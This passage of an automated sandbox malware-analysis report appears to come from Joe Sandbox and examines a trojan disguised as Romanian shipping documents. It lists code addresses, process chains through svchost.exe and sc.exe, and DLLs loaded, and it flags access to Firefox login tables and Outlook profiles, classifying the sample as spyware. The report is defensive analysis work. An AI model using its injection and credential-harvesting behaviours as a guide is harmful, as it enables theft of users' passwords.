                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0364AD002_2_0364AD00
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0363ADE02_2_0363ADE0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03658DBF2_2_03658DBF
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03640C002_2_03640C00
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03630CF22_2_03630CF2
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036E0CB52_2_036E0CB5
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0362D34C2_2_0362D34C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036F132D2_2_036F132D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0368739A2_2_0368739A
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036E12ED2_2_036E12ED
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0365B2C02_2_0365B2C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036452A02_2_036452A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0367516C2_2_0367516C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0362F1722_2_0362F172
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0370B16B2_2_0370B16B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0364B1B02_2_0364B1B0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036F70E92_2_036F70E9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036FF0E02_2_036FF0E0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036EF0CC2_2_036EF0CC
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036470C02_2_036470C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036FF7B02_2_036FF7B0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036F16CC2_2_036F16CC
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036F75712_2_036F7571
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036DD5B02_2_036DD5B0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036314602_2_03631460
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036FF43F2_2_036FF43F
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036FFB762_2_036FFB76
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B5BF02_2_036B5BF0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0367DBF92_2_0367DBF9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0365FB802_2_0365FB80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B3A6C2_2_036B3A6C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036FFA492_2_036FFA49
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036F7A462_2_036F7A46
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036EDAC62_2_036EDAC6
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036DDAAC2_2_036DDAAC
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03685AA02_2_03685AA0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036499502_2_03649950
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0365B9502_2_0365B950
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036AD8002_2_036AD800
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036438E02_2_036438E0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036FFF092_2_036FFF09
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036FFFB12_2_036FFFB1
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03641F922_2_03641F92
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03649EB02_2_03649EB0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036F7D732_2_036F7D73
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03643D402_2_03643D40
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036F1D5A2_2_036F1D5A
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0365FDC02_2_0365FDC0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B9C322_2_036B9C32
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036FFCF22_2_036FFCF2
                Source: C:\Program Files (x86)\gXVCqRNOzOibuFXiseqZQlBHuSkWCDrzLlwHFybcUlDmIqNrdAwDnshXcPEsdGYRebR\hcwvcDPvVeAzsY.exeCode function: 6_2_02DCF2526_2_02DCF252
                Source: C:\Program Files (x86)\gXVCqRNOzOibuFXiseqZQlBHuSkWCDrzLlwHFybcUlDmIqNrdAwDnshXcPEsdGYRebR\hcwvcDPvVeAzsY.exeCode function: 6_2_02DEE2126_2_02DEE212
                Source: C:\Program Files (x86)\gXVCqRNOzOibuFXiseqZQlBHuSkWCDrzLlwHFybcUlDmIqNrdAwDnshXcPEsdGYRebR\hcwvcDPvVeAzsY.exeCode function: 6_2_02DCF4726_2_02DCF472
                Source: C:\Program Files (x86)\gXVCqRNOzOibuFXiseqZQlBHuSkWCDrzLlwHFybcUlDmIqNrdAwDnshXcPEsdGYRebR\hcwvcDPvVeAzsY.exeCode function: 6_2_02DCD4626_2_02DCD462
                Source: C:\Program Files (x86)\gXVCqRNOzOibuFXiseqZQlBHuSkWCDrzLlwHFybcUlDmIqNrdAwDnshXcPEsdGYRebR\hcwvcDPvVeAzsY.exeCode function: 6_2_02DD5C626_2_02DD5C62
                Source: C:\Program Files (x86)\gXVCqRNOzOibuFXiseqZQlBHuSkWCDrzLlwHFybcUlDmIqNrdAwDnshXcPEsdGYRebR\hcwvcDPvVeAzsY.exeCode function: 6_2_02DCD5B26_2_02DCD5B2
                Source: C:\Program Files (x86)\gXVCqRNOzOibuFXiseqZQlBHuSkWCDrzLlwHFybcUlDmIqNrdAwDnshXcPEsdGYRebR\hcwvcDPvVeAzsY.exeCode function: 6_2_02DCD5AE6_2_02DCD5AE
                Source: C:\Program Files (x86)\gXVCqRNOzOibuFXiseqZQlBHuSkWCDrzLlwHFybcUlDmIqNrdAwDnshXcPEsdGYRebR\hcwvcDPvVeAzsY.exeCode function: 6_2_02DCD5A66_2_02DCD5A6
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_03AC03E67_2_03AC03E6
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_03A0E3F07_2_03A0E3F0
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_03ABA3527_2_03ABA352
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_03A802C07_2_03A802C0
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_03AA02747_2_03AA0274
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_03AC01AA7_2_03AC01AA
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_03AB81CC7_2_03AB81CC
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_039F01007_2_039F0100
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_03A9A1187_2_03A9A118
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_03A881587_2_03A88158
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_03A920007_2_03A92000
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_039FC7C07_2_039FC7C0
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_03A007707_2_03A00770
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_03A247507_2_03A24750
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_03A1C6E07_2_03A1C6E0
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_03AC05917_2_03AC0591
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_03A005357_2_03A00535
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_03AAE4F67_2_03AAE4F6
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_03AA44207_2_03AA4420
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_03AB24467_2_03AB2446
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_03AB6BD77_2_03AB6BD7
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_03ABAB407_2_03ABAB40
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_039FEA807_2_039FEA80
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_03A029A07_2_03A029A0
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_03ACA9A67_2_03ACA9A6
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_03A169627_2_03A16962
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_039E68B87_2_039E68B8
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_03A2E8F07_2_03A2E8F0
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_03A0A8407_2_03A0A840
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_03A028407_2_03A02840
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_03A7EFA07_2_03A7EFA0
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_03A0CFE07_2_03A0CFE0
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_039F2FC87_2_039F2FC8
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_03A42F287_2_03A42F28
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_03A20F307_2_03A20F30
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_03AA2F307_2_03AA2F30
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_03A74F407_2_03A74F40
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_03A12E907_2_03A12E90
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_03ABCE937_2_03ABCE93
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_03ABEEDB7_2_03ABEEDB
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_03ABEE267_2_03ABEE26
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_03A00E597_2_03A00E59
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_03A18DBF7_2_03A18DBF
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_039FADE07_2_039FADE0
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_03A0AD007_2_03A0AD00
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_03A9CD1F7_2_03A9CD1F
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_03AA0CB57_2_03AA0CB5
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_039F0CF27_2_039F0CF2
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_03A00C007_2_03A00C00
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_03A4739A7_2_03A4739A
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_03AB132D7_2_03AB132D
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_039ED34C7_2_039ED34C
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_03A052A07_2_03A052A0
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_03AA12ED7_2_03AA12ED
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_03A1B2C07_2_03A1B2C0
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_03A0B1B07_2_03A0B1B0
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_03ACB16B7_2_03ACB16B
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_03A3516C7_2_03A3516C
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_039EF1727_2_039EF172
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_03AB70E97_2_03AB70E9
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_03ABF0E07_2_03ABF0E0
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_03A070C07_2_03A070C0
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_03AAF0CC7_2_03AAF0CC
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_03ABF7B07_2_03ABF7B0
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_03AB16CC7_2_03AB16CC
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_03A9D5B07_2_03A9D5B0
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_03AB75717_2_03AB7571
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_03ABF43F7_2_03ABF43F
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_039F14607_2_039F1460
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_03A1FB807_2_03A1FB80
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_03A75BF07_2_03A75BF0
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_03A3DBF97_2_03A3DBF9
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_03ABFB767_2_03ABFB76
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_03A45AA07_2_03A45AA0
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_03A9DAAC7_2_03A9DAAC
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_03AA1AA37_2_03AA1AA3
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_03AADAC67_2_03AADAC6
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_03A73A6C7_2_03A73A6C
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_03ABFA497_2_03ABFA49
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_03AB7A467_2_03AB7A46
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_03A959107_2_03A95910
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_03A099507_2_03A09950
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_03A1B9507_2_03A1B950
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_03A038E07_2_03A038E0
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_03A6D8007_2_03A6D800
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_03ABFFB17_2_03ABFFB1
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_03A01F927_2_03A01F92
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_03ABFF097_2_03ABFF09
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_03A09EB07_2_03A09EB0
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_03A1FDC07_2_03A1FDC0
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_03AB7D737_2_03AB7D73
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_03A03D407_2_03A03D40
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_03AB1D5A7_2_03AB1D5A
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_03ABFCF27_2_03ABFCF2
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_03A79C327_2_03A79C32
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_032221107_2_03222110
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_0321CFC07_2_0321CFC0
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_0321B3207_2_0321B320
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_0321B3147_2_0321B314
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_0321B31C7_2_0321B31C
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_0321D1E07_2_0321D1E0
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_0321B1D07_2_0321B1D0
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_032257D07_2_032257D0
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_032239D07_2_032239D0
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_0323BF807_2_0323BF80
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_0384E5637_2_0384E563
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_0384E4487_2_0384E448
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_0384D9C87_2_0384D9C8
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_0384E8FD7_2_0384E8FD
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_0384CC737_2_0384CC73
                Source: C:\Windows\SysWOW64\svchost.exeCode function: String function: 03675130 appears 36 times
                Source: C:\Windows\SysWOW64\svchost.exeCode function: String function: 036BF290 appears 105 times
                Source: C:\Windows\SysWOW64\svchost.exeCode function: String function: 036AEA12 appears 86 times
                Source: C:\Windows\SysWOW64\svchost.exeCode function: String function: 0362B970 appears 272 times
                Source: C:\Windows\SysWOW64\svchost.exeCode function: String function: 03687E54 appears 97 times
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: String function: 009A7DE1 appears 35 times
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: String function: 009C8900 appears 42 times
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: String function: 009C0AE3 appears 70 times
                Source: C:\Windows\SysWOW64\sc.exeCode function: String function: 03A6EA12 appears 86 times
                Source: C:\Windows\SysWOW64\sc.exeCode function: String function: 03A35130 appears 58 times
                Source: C:\Windows\SysWOW64\sc.exeCode function: String function: 039EB970 appears 280 times
                Source: C:\Windows\SysWOW64\sc.exeCode function: String function: 03A47E54 appears 101 times
                Source: C:\Windows\SysWOW64\sc.exeCode function: String function: 03A7F290 appears 105 times
                Source: AWB_5771388044 Documente de expediere.exe, 00000000.00000003.1379366195.0000000003823000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: OriginalFilenamentdll.dllj% vs AWB_5771388044 Documente de expediere.exe
                Source: AWB_5771388044 Documente de expediere.exe, 00000000.00000003.1380308880.00000000039CD000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: OriginalFilenamentdll.dllj% vs AWB_5771388044 Documente de expediere.exe
                Source: AWB_5771388044 Documente de expediere.exeStatic PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
                Source: classification engineClassification label: mal100.troj.spyw.evad.winEXE@7/3@3/3
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_00A0A06A GetLastError,FormatMessageW,0_2_00A0A06A
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_009F81CB AdjustTokenPrivileges,CloseHandle,0_2_009F81CB
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_009F87E1 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,0_2_009F87E1
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_00A0B3FB SetErrorMode,GetDiskFreeSpaceExW,SetErrorMode,0_2_00A0B3FB
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_00A1EE0D CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,0_2_00A1EE0D
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_00A183BB CoInitialize,CoUninitialize,CoCreateInstance,IIDFromString,VariantInit,VariantClear,0_2_00A183BB
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_009A4E89 CreateStreamOnHGlobal,FindResourceExW,LoadResource,SizeofResource,LockResource,0_2_009A4E89
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeFile created: C:\Users\user\AppData\Local\Temp\autEEC2.tmpJump to behavior
                Source: AWB_5771388044 Documente de expediere.exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                Source: C:\Program Files\Mozilla Firefox\firefox.exeFile read: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.iniJump to behavior
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
                Source: sc.exe, 00000007.00000003.2200327220.0000000003506000.00000004.00000020.00020000.00000000.sdmp, sc.exe, 00000007.00000002.2583431211.0000000003526000.00000004.00000020.00020000.00000000.sdmp, sc.exe, 00000007.00000003.2202313368.00000000034D2000.00000004.00000020.00020000.00000000.sdmp, sc.exe, 00000007.00000002.2583431211.00000000034F3000.00000004.00000020.00020000.00000000.sdmp, sc.exe, 00000007.00000003.2202313368.00000000034F3000.00000004.00000020.00020000.00000000.sdmp, sc.exe, 00000007.00000003.2202313368.0000000003526000.00000004.00000020.00020000.00000000.sdmp, sc.exe, 00000007.00000003.2200439077.00000000034F3000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
                Source: AWB_5771388044 Documente de expediere.exeReversingLabs: Detection: 52%
                Source: unknownProcess created: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exe "C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exe"
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeProcess created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exe"
                Source: C:\Program Files (x86)\gXVCqRNOzOibuFXiseqZQlBHuSkWCDrzLlwHFybcUlDmIqNrdAwDnshXcPEsdGYRebR\hcwvcDPvVeAzsY.exeProcess created: C:\Windows\SysWOW64\sc.exe "C:\Windows\SysWOW64\sc.exe"
                Source: C:\Windows\SysWOW64\sc.exeProcess created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeProcess created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exe"Jump to behavior
                Source: C:\Program Files (x86)\gXVCqRNOzOibuFXiseqZQlBHuSkWCDrzLlwHFybcUlDmIqNrdAwDnshXcPEsdGYRebR\hcwvcDPvVeAzsY.exeProcess created: C:\Windows\SysWOW64\sc.exe "C:\Windows\SysWOW64\sc.exe"Jump to behavior
                Source: C:\Windows\SysWOW64\sc.exeProcess created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"Jump to behavior
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeSection loaded: wsock32.dllJump to behavior
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeSection loaded: version.dllJump to behavior
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeSection loaded: winmm.dllJump to behavior
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeSection loaded: mpr.dllJump to behavior
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeSection loaded: wininet.dllJump to behavior
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeSection loaded: iphlpapi.dllJump to behavior
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeSection loaded: userenv.dllJump to behavior
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeSection loaded: uxtheme.dllJump to behavior
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeSection loaded: kernel.appcore.dllJump to behavior
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeSection loaded: windows.storage.dllJump to behavior
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeSection loaded: wldp.dllJump to behavior
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeSection loaded: ntmarta.dllJump to behavior
                Source: C:\Windows\SysWOW64\sc.exeSection loaded: wininet.dllJump to behavior
                Source: C:\Windows\SysWOW64\sc.exeSection loaded: kernel.appcore.dllJump to behavior
                Source: C:\Windows\SysWOW64\sc.exeSection loaded: uxtheme.dllJump to behavior
                Source: C:\Windows\SysWOW64\sc.exeSection loaded: ieframe.dllJump to behavior
                Source: C:\Windows\SysWOW64\sc.exeSection loaded: iertutil.dllJump to behavior
                Source: C:\Windows\SysWOW64\sc.exeSection loaded: netapi32.dllJump to behavior
                Source: C:\Windows\SysWOW64\sc.exeSection loaded: version.dllJump to behavior
                Source: C:\Windows\SysWOW64\sc.exeSection loaded: userenv.dllJump to behavior
                Source: C:\Windows\SysWOW64\sc.exeSection loaded: winhttp.dllJump to behavior
                Source: C:\Windows\SysWOW64\sc.exeSection loaded: wkscli.dllJump to behavior
                Source: C:\Windows\SysWOW64\sc.exeSection loaded: netutils.dllJump to behavior
                Source: C:\Windows\SysWOW64\sc.exeSection loaded: sspicli.dllJump to behavior
                Source: C:\Windows\SysWOW64\sc.exeSection loaded: windows.storage.dllJump to behavior
                Source: C:\Windows\SysWOW64\sc.exeSection loaded: wldp.dllJump to behavior
                Source: C:\Windows\SysWOW64\sc.exeSection loaded: profapi.dllJump to behavior
                Source: C:\Windows\SysWOW64\sc.exeSection loaded: secur32.dllJump to behavior
                Source: C:\Windows\SysWOW64\sc.exeSection loaded: mlang.dllJump to behavior
                Source: C:\Windows\SysWOW64\sc.exeSection loaded: propsys.dllJump to behavior
                Source: C:\Windows\SysWOW64\sc.exeSection loaded: winsqlite3.dllJump to behavior
                Source: C:\Windows\SysWOW64\sc.exeSection loaded: vaultcli.dllJump to behavior
                Source: C:\Windows\SysWOW64\sc.exeSection loaded: wintypes.dllJump to behavior
                Source: C:\Windows\SysWOW64\sc.exeSection loaded: dpapi.dllJump to behavior
                Source: C:\Windows\SysWOW64\sc.exeSection loaded: cryptbase.dllJump to behavior
                Source: C:\Program Files (x86)\gXVCqRNOzOibuFXiseqZQlBHuSkWCDrzLlwHFybcUlDmIqNrdAwDnshXcPEsdGYRebR\hcwvcDPvVeAzsY.exeSection loaded: wininet.dllJump to behavior
                Source: C:\Program Files (x86)\gXVCqRNOzOibuFXiseqZQlBHuSkWCDrzLlwHFybcUlDmIqNrdAwDnshXcPEsdGYRebR\hcwvcDPvVeAzsY.exeSection loaded: mswsock.dllJump to behavior
                Source: C:\Program Files (x86)\gXVCqRNOzOibuFXiseqZQlBHuSkWCDrzLlwHFybcUlDmIqNrdAwDnshXcPEsdGYRebR\hcwvcDPvVeAzsY.exeSection loaded: dnsapi.dllJump to behavior
                Source: C:\Program Files (x86)\gXVCqRNOzOibuFXiseqZQlBHuSkWCDrzLlwHFybcUlDmIqNrdAwDnshXcPEsdGYRebR\hcwvcDPvVeAzsY.exeSection loaded: iphlpapi.dllJump to behavior
                Source: C:\Program Files (x86)\gXVCqRNOzOibuFXiseqZQlBHuSkWCDrzLlwHFybcUlDmIqNrdAwDnshXcPEsdGYRebR\hcwvcDPvVeAzsY.exeSection loaded: fwpuclnt.dllJump to behavior
                Source: C:\Program Files (x86)\gXVCqRNOzOibuFXiseqZQlBHuSkWCDrzLlwHFybcUlDmIqNrdAwDnshXcPEsdGYRebR\hcwvcDPvVeAzsY.exeSection loaded: rasadhlp.dllJump to behavior
                Source: C:\Windows\SysWOW64\sc.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{3C374A40-BAE4-11CF-BF7D-00AA006946EE}\InProcServer32Jump to behavior
                Source: C:\Windows\SysWOW64\sc.exeKey opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\Jump to behavior
                Source: AWB_5771388044 Documente de expediere.exeStatic file information: File size 1214976 > 1048576
                Source: AWB_5771388044 Documente de expediere.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
                Source: AWB_5771388044 Documente de expediere.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
                Source: AWB_5771388044 Documente de expediere.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
                Source: AWB_5771388044 Documente de expediere.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
                Source: AWB_5771388044 Documente de expediere.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
                Source: AWB_5771388044 Documente de expediere.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT
                Source: AWB_5771388044 Documente de expediere.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
                Source: Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: hcwvcDPvVeAzsY.exe, 00000006.00000002.2583629834.0000000000C7E000.00000002.00000001.01000000.00000005.sdmp, hcwvcDPvVeAzsY.exe, 00000008.00000002.2583406804.0000000000C7E000.00000002.00000001.01000000.00000005.sdmp
